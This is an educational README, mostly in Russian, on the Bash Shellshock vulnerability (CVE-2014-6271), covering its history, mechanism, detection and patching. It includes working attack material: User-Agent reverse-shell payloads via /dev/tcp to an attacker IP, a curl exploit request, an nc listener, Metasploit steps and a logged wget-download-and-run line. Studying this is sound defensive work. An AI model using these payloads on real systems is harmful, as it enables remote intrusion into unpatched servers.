
Образовательный репозиторий, подробно описывающий уязвимость Shellshock (CVE-2014-6271), включая технический анализ, векторы атак, эксплуатацию с доказательством концепции и шаги по смягчению последствий для инъекции переменных окружения Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Удалённое выполнение кода через инъекцию в переменные окружения Bash
"Ошибка, скрытая в Bash десятилетиями и потрясшая основы интернета менее чем за 24 часа."
Shellshock (также известный как Bashdoor) — это семейство критических уязвимостей в командном интерпретаторе GNU Bash, которое позволяет удалённому атакующему выполнять произвольные команды на целевой системе.
Фундаментальная ошибка: Bash не прекращал обработку переменной окружения после завершения определения функции. Любой код, добавленный после () { :; };, выполнялся автоматически.
Переменная окружения → Определение функции → [ЗДЕСЬ ВЫПОЛНЯЕТСЯ ДОПОЛНИТЕЛЬНЫЙ КОД] ← БАГ
Поскольку веб-серверы (CGI/Apache), службы SSH и DHCP-клиенты преобразуют заголовки или параметры в переменные окружения Bash, поверхность атаки была огромной.
12 Sep 2014 ──── Stéphane Chazelas обнаруживает баг и сообщает о нём Chet Ramey (мейнтейнеру Bash)
Баг существовал в Bash более 20 лет.
24 Sep 2014 ──── Публичное раскрытие + выпуск патча (CVE-2014-6271)
Часы спустя: активные ботнеты массово сканируют интернет.
25-30 Sep 2014 ── Обнаружены связанные уязвимости:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Зарегистрированы миллионы атак. По серьёзности сравнимо с Heartbleed.
| Продукт | Уязвимые версии | Статус |
|---|---|---|
| GNU Bash | 1.0.3 – 4.3 | Исправлено |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Версии до сентября 2014 г. | Исправлено |
| Apple macOS / OS X | 10.10 и более ранние | Исправлено (Security Update 2014-005) |
| IoT-устройства со встроенным Bash | Различные | Зависит от производителя |
| Веб-серверы с CGI поверх Apache | Любая версия с уязвимым Bash | Исправлено |
Когда Bash импортирует функцию из переменной окружения, он читает до закрывающей } функции. В уязвимых версиях он продолжал обрабатывать последующий код вместо того, чтобы остановиться.
# Вредоносная переменная окружения:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Уязвимый Bash при инициализации:
# 1. Читает определение функции → OK
# 2. Встречает }; → должен остановиться
# 3. ПРОДОЛЖАЕТ → выполняет /bin/cat /etc/passwd ← БАГ
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Результат на УЯЗВИМОЙ системе:
VULNERABLE
this is a test
Результат на ИСПРАВЛЕННОЙ системе:
this is a test
(или синтаксическая ошибка — никогда не выводит "VULNERABLE")
Веб-серверы, использующие скрипты .cgi, преобразуют HTTP-заголовки в переменные окружения Bash.
Затронутые заголовки: User-Agent, Referer, Cookie, X-Forwarded-For и любые пользовательские заголовки
# Если на сервере настроен ForceCommand, атакующий с действительным ключом может его обойти
ssh user@target '() { :;}; /bin/bash'
Вредоносные DHCP-серверы могут внедрять переменные окружения в клиенты, использующие Bash для обработки ответа DHCP.
# Любой процесс, который наследует переменные окружения и запускает Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload, который внедряется в User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Ищем характерный паттерн в access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Пример вредоносного лога:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Дочерние процессы www-data/apache, которых не должно существовать
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Новые исполняемые файлы в /tmp, /var/tmp, /dev/shm
- Исходящие соединения с веб-сервера на неизвестные IP-адреса
- Изменение /etc/crontab или /etc/passwd
- Процессы bash, работающие от имени www-data без терминала
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Проверка исправленной версии (должна показывать "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → УЯЗВИМАЯ
# GNU bash, version 4.3.33(1)-release → ИСПРАВЛЕННАЯ (зависит от дистрибутива)
# Должен вернуть только "this is a test" — НИКОГДА "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"